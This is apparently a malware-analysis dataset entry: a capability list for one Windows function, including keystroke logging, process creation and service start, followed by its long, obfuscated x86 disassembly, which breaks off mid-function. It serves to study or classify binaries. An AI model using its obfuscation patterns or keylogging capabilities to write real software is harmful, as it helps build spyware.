Function at 0x1002d40c
Capabilities:
Accept command line arguments
Check os version
Create directory
Create pipe
Create process on windows
Create thread
Enumerate gui resources
Get disk information
Get graphical window text
Identify system language via api
Log keystrokes
Query environment variable
Read .ini file
Resume thread
Set environment variable
Start service
Suspend thread
Terminate process

Disassembly:
mov eax, 0x1007e4b6
call fcn.1007de64
mov eax, 0x1060
call fcn.1007ac20
mov dword [ebp - 0x1c], 0xfff9
xor eax, eax
push ebx
push esi
or esi, 0xffffffff
mov byte [ebp - 0x7d], dl
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x3c], 0x3eef7d26
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x2c], 0x3a67d62
push edi
xor edi, edi
mov dword [ebp - 0x40], 0x177106cf
inc edi
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x38], edi
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg edx
push 6
sbb edx, edx
xor ecx, ecx
inc edx
neg edx
cmp eax, edx
mov eax, dword [ebp - 0x28]
setge cl
xor edx, edx
cmp eax, ecx
pop eax
setge dl
sub edx, 0x9475
neg edx
push 2
sbb edx, edx
inc edx
pop ebx
cmp edx, 0x6f65
jle 0x1002d52c
mov dword [ebp - 0x38], 0xfff9
mov dword [ebp - 0x50], 0xfffffffa
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x54], 8
mov dword [ebp - 0x54], 0xd7c3b7c3
mov dword [ebp - 0x5c], 9
mov eax, dword [ebp - 0x38]
sub eax, 0xe5b14f4e
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x50]
add ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setne cl
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
imul eax, dword [ebp - 0x44]
imul eax, eax, 0x63d1
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x5c], eax
jmp 0x1002d72d
mov dword [ebp - 0x20], 0x6fd0fe1f
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], 0xfffffffc
mov dword [ebp - 0x50], 0x158e5840
mov dword [ebp - 0x3c], 0xffffffec
jmp 0x1002d6fc
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002d5b1
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x28]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x18]
jge 0x1002d584
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x18], eax
je 0x1002d586
mov ecx, edi
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, dword [ebp - 0x14]
jge 0x1002d5a6
cmp dword [ebp - 0x18], eax
jne 0x1002d5ab
cmp dword [ebp - 0x44], eax
je 0x1002d5af
mov ecx, edi
jmp 0x1002d5b3
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, 0x350c
setl al
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
neg eax
cmp eax, 0xfffffffd
jle 0x1002d5d7
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x18], eax
je 0x1002d5d9
mov edx, edi
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, edx
setg cl
mov dword [ebp - 0x18], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
cmp eax, edi
setle cl
add ecx, dword [ebp - 0x1c]
jne 0x1002d610
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002d6ec
mov dword [ebp - 0x54], 0xfaf4b059
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002d647
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x500], 0x7ce1bf9d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002d62f
xor eax, eax
mov dword [ebp - 0x34], 0xd
jmp 0x1002d697
mov byte [ebp - 0x61], al
cmp byte [ebp - 0x61], 0
je 0x1002d665
push edi
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002d68f
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002d686
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x844], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002d672
xor eax, eax
dec dword [ebp - 0x840]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x1002d66a
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xf
je 0x1002d650
mov eax, dword [ebp - 0x500]
xor edx, edx
mov ecx, dword [ebp - 0x500]
mov eax, dword [ebp - 0x50]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
sub edx, eax
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, 0x556a
push 0
setle cl
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x500]
add eax, dword [ebp - 0x54]
cmp esi, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x28]
pop eax
cmp dword [ebp - 0x28], 0x1b
jge 0x1002d620
inc dword [ebp - 0x3c]
push 6
pop eax
cmp dword [ebp - 0x3c], 0x12
jge 0x1002d550
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x40]
sub ecx, eax
add ecx, dword [ebp - 0x38]
cmp ecx, edi
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x2c]
jne 0x1002d728
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002d72a
mov eax, edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x30], 0xfffffff6
mov eax, 0xfffe
mov dword [ebp - 0x2c], 0xaf425f5f
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x30], 0x70669599
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x50], 0x12af0488
mov dword [ebp - 0x38], 0x9a2f3817
mov dword [ebp - 0x30], 0xa74adf29
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1002d789
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa20], 0xa6b950ba
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002d770
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002d7ab
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x530], 0x9017ca4e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002d792
xor eax, eax
cmp dword [ebp - 0xa18], eax
je 0x1002d820
mov ecx, dword [ebp - 0xa1c]
mov eax, dword [ebp - 0x44]
neg ecx
inc dword [ebp - 0x44]
cmp ecx, eax
jne 0x1002d7c9
mov esi, edi
jmp 0x1002d7cd
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x528]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x52c]
mov eax, dword [ebp - 0x530]
xor eax, eax
cmp dword [ebp - 0xa14], eax
jne 0x1002d7fa
cmp dword [ebp - 0x50], eax
je 0x1002d7fc
mov eax, edi
xor edx, edx
cmp eax, edi
mov eax, dword [ebp - 0x530]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
or edx, 0xffffffff
cmp ecx, edx
setl al
cmp esi, eax
je 0x1002d827
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x50], eax
je 0x1002d829
mov ecx, edi
mov eax, dword [ebp - 0xa14]
xor edx, edx
cmp eax, ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x58]
setge dl
imul ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x5c]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x52c], ecx
mov byte [ebp - 0xd], al
mov dword [ebp - 0x30], 0xc96dd1e1
mov byte [ebp - 0x61], al
cmp byte [ebp - 0x61], al
je 0x1002d87a
push eax
push eax
push 0x993
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0x61], al
cmp byte [ebp - 0x61], 0
je 0x1002d895
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
xor eax, eax
cmp byte [ebp - 0xd], 0
mov esi, dword [sym.imp.USER32.dll_DrawFrameControl]
je 0x1002d8b8
push 0x51a
push 0xa3f
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
mov dword [ebp - 0x14], edi
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0xfa72c25
mov dword [ebp - 0x30], 0x12e1dfe
mov dword [ebp - 0x14], eax
jmp 0x1002d925
mov dword [ebp - 0x2c], 0x54fd
mov dword [ebp - 0x50], 0x3ec3d4e7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1002d8fd
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb98], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002d8e9
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1002d91c
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xba4], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002d908
xor eax, eax
dec dword [ebp - 0x2c]
inc dword [ebp - 0x50]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 9
jge 0x1002d8d3
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceW]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d941
push eax
push eax
push eax
call edi
xor eax, eax
mov dword [ebp - 0x30], 0xfffffff6
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d96a
push 0x51a
push 0xa3f
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d97a
push eax
push eax
push eax
call edi
xor eax, eax
mov dword [ebp - 0x30], 0xfffffff6
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d9a3
push 0x51a
push 0xa3f
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d9b3
push eax
push eax
push eax
call edi
xor eax, eax
mov dword [ebp - 0x28], 0x7a3a
xor ecx, ecx
mov dword [ebp - 0x34], 0xd2eb
inc ecx
mov dword [ebp - 0x2c], 0x5051
mov dword [ebp - 0x38], 0xbf199314
mov dword [ebp - 0x20], 0xfffffffb
mov dword [ebp - 0x14], eax
jmp 0x1002d9ef
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1ac], 3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002d9de
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp eax, 0xf1d65f4e
setne cl
cmp ecx, dword [ebp - 0x28]
jl 0x1002da0f
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x1002da2e
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x34]
add ecx, 0x7289
mov dword [ebp - 0x1ac], ecx
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
sete dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1002daca
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jg 0x1002dab8
xor ecx, ecx
inc ecx
mov dword [ebp - 0x38], 0xfffffff7
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x1ac]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1ac], ecx
xor eax, eax
mov dword [ebp - 0x20], 0xa
cmp dword [ebp - 0x20], 0x15
jge 0x1002dab0
mov dword [ebp - 0x38], 0x32cb818e
cmp dword [ebp - 0x38], eax
jne 0x1002dab0
inc dword [ebp - 0x20]
jmp 0x1002da99
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002da72
mov eax, dword [ebp - 0x34]
push 0
mov eax, dword [ebp + eax*4 - 0x1ac]
dec dword [ebp - 0x34]
pop eax
jns 0x1002da67
mov dword [ebp - 0x2c], 0x1b49
mov dword [ebp - 0x38], 0xeef7d266
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002daf9
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x158], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002dae4
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002db0a
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
xor eax, eax
cmp dword [ebp - 0x154], eax
jne 0x1002db8c
mov eax, dword [ebp - 0x158]
imul eax, dword [ebp - 0x154]
test eax, eax
je 0x1002db88
cmp dword [ebp - 0x154], 0xf3e76e5b
je 0x1002db35
mov eax, dword [ebp - 0x154]
mov eax, dword [ebp - 0x154]
xor edx, edx
mov ecx, dword [ebp - 0x154]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x158]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x154]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x154]
mov edx, 0x23d4a1cf
setg cl
sub edx, ecx
sub edx, eax
mov eax, dword [ebp - 0x154]
add eax, edx
jne 0x1002db8c
xor eax, eax
jmp 0x1002db8f
xor eax, eax
inc eax
imul eax, eax, 0x5773
push 8
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x24], 0x7e2799ac
pop eax
mov dword [ebp - 0x86c], eax
mov dword [ebp - 0x868], eax
mov dword [ebp - 0x864], eax
mov dword [ebp - 0x860], eax
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xa
jl 0x1002dd95
xor esi, esi
inc esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002dbf6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb8], 0xe2cf4565
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002dbde
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002dc0c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb4], 0x3bbb66ef
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002dbfb
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x1002dcdc
mov eax, dword [ebp - 0x34]
xor edx, edx
mov dword [ebp - 0x18], 0xca1a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0xb8], ecx
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0xb4]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
cmp ecx, 5
setne dl
xor eax, eax
cmp edx, 3
mov dword [ebp - 0x864], edx
setle al
xor ecx, ecx
cmp eax, 0xfffffffc
mov eax, dword [ebp - 0x34]
setge cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0xb4]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xb4]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xb4]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xb4]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, dword [ebp - 0x34]
je 0x1002dcc6
mov ecx, esi
cmp dword [ebp - 0xb8], eax
jne 0x1002dcc8
mov ecx, eax
mov eax, dword [ebp - 0x24]
sub ecx, eax
cmp ecx, dword [ebp - 0xb4]
je 0x1002dcdc
xor esi, esi
mov eax, esi
inc esi
jmp 0x1002dcde
mov eax, esi
mov dword [ebp - 0xb4], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1002dd79
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1002dd70
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002dd1c
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
xor edi, edi
push edi
push 0x23c6
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
push 0
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xb8]
test eax, eax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
setg cl
add ecx, ecx
sub edx, ecx
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp + eax*4 - 0xb8]
sub edx, dword [ebp - 0x864]
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
inc edx
mov dword [ebp + eax*4 - 0xb8], edx
dec dword [ebp - 0x34]
pop eax
jns 0x1002dcfa
dec dword [ebp - 0x18]
jns 0x1002dcf2
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xa
push 0
pop eax
jge 0x1002dbcc
mov esi, dword [sym.imp.USER32.dll_DrawFrameControl]
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x30], 0xfffffff6
or ecx, 0xffffffff
mov dword [ebp - 0x1c], 0xfff9
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x3c], 0x3eef7d26
inc eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x54], 0x3a67d62
mov dword [ebp - 0x40], 0x177106cf
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
neg edx
cmp eax, edx
mov eax, dword [ebp - 0x28]
setge cl
xor edx, edx
cmp eax, ecx
setge dl
sub edx, 0x9475
neg edx
sbb edx, edx
inc edx
cmp edx, 0x6f65
jle 0x1002de9a
mov dword [ebp - 0x38], 0xfff9
or eax, 0xffffffff
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x50], 8
mov dword [ebp - 0x50], 0xd7c3b7c3
mov dword [ebp - 0x5c], 9
mov eax, dword [ebp - 0x38]
sub eax, 0xe5b14f4e
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setne cl
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x44]
imul eax, eax, 0x63d1
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x5c], eax
jmp 0x1002e0c8
mov dword [ebp - 0x20], 0x6fd0fe1f
xor edx, edx
inc edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x24], 0xfffffffc
mov dword [ebp - 0x2c], 0x158e5840
mov dword [ebp - 0x3c], 0xffffffec
cmp dword [ebp - 0x3c], 0x12
jl 0x1002e0a1
push 6
or esi, 0xffffffff
pop edi
mov dword [ebp - 0x4c], esi
xor eax, eax
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x34], edi
cmp dword [ebp - 0x18], eax
je 0x1002df33
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x28]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x18]
jge 0x1002df00
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x18], eax
je 0x1002df02
mov ecx, edx
mov eax, dword [ebp - 0x54]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, dword [ebp - 0x14]
jge 0x1002df22
cmp dword [ebp - 0x18], eax
jne 0x1002df27
cmp dword [ebp - 0x44], eax
je 0x1002df2e
xor edx, edx
inc edx
mov ecx, edx
jmp 0x1002df35
xor edx, edx
xor eax, eax
inc edx
mov ecx, eax
xor eax, eax
cmp ecx, 0x350c
setl al
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
neg eax
cmp eax, 0xfffffffd
jle 0x1002df59
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002df59
mov edx, eax
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x18], ecx
inc edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
cmp eax, edx
setle cl
add ecx, dword [ebp - 0x1c]
jne 0x1002df93
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x1b
jl 0x1002e088
mov dword [ebp - 0x50], 0xfaf4b059
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002dfd1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x624], 0x7ce1bf9d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002dfb8
xor eax, eax
mov dword [ebp - 0x34], 0xd
jmp 0x1002e026
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002dff2
push edx
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
xor edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x24], eax
jmp 0x1002e01e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002e015
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8a4], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002e000
xor eax, eax
dec dword [ebp - 0x8a0]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jle 0x1002dff7
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xf
je 0x1002dfda
mov eax, dword [ebp - 0x624]
xor edx, edx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x624]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
sub edx, eax
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, 0x556a
push 0
setle cl
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x624]
cmp esi, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x1b
pop eax
push 1
pop edx
jge 0x1002dfa8
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x12
jge 0x1002decc
mov esi, dword [sym.imp.USER32.dll_DrawFrameControl]
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x40]
sub ecx, eax
add ecx, dword [ebp - 0x38]
cmp ecx, edx
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x54]
jne 0x1002e0c3
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002e0c5
mov eax, edx
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x30], 0xc96dd1e1
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002e0e9
push eax
push eax
push 0x993
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002e0fe
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
xor eax, eax
mov byte [ebp - 0xd], al
xor edx, edx
inc edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0xfa72c25
mov dword [ebp - 0x30], 0x12e1dfe
mov dword [ebp - 0x14], eax
jmp 0x1002e16f
mov dword [ebp - 0x2c], 0x54fd
mov dword [ebp - 0x50], 0x3ec3d4e7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002e147
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbb4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002e133
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002e166
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbd8], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002e152
xor eax, eax
dec dword [ebp - 0x2c]
inc dword [ebp - 0x50]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 9
jge 0x1002e11d
cmp byte [ebp - 0xd], 0
je 0x1002e23c
push 3
pop ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], 0x3245f1db
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1002e1ac
mov eax, dword [ebp - 0x14]
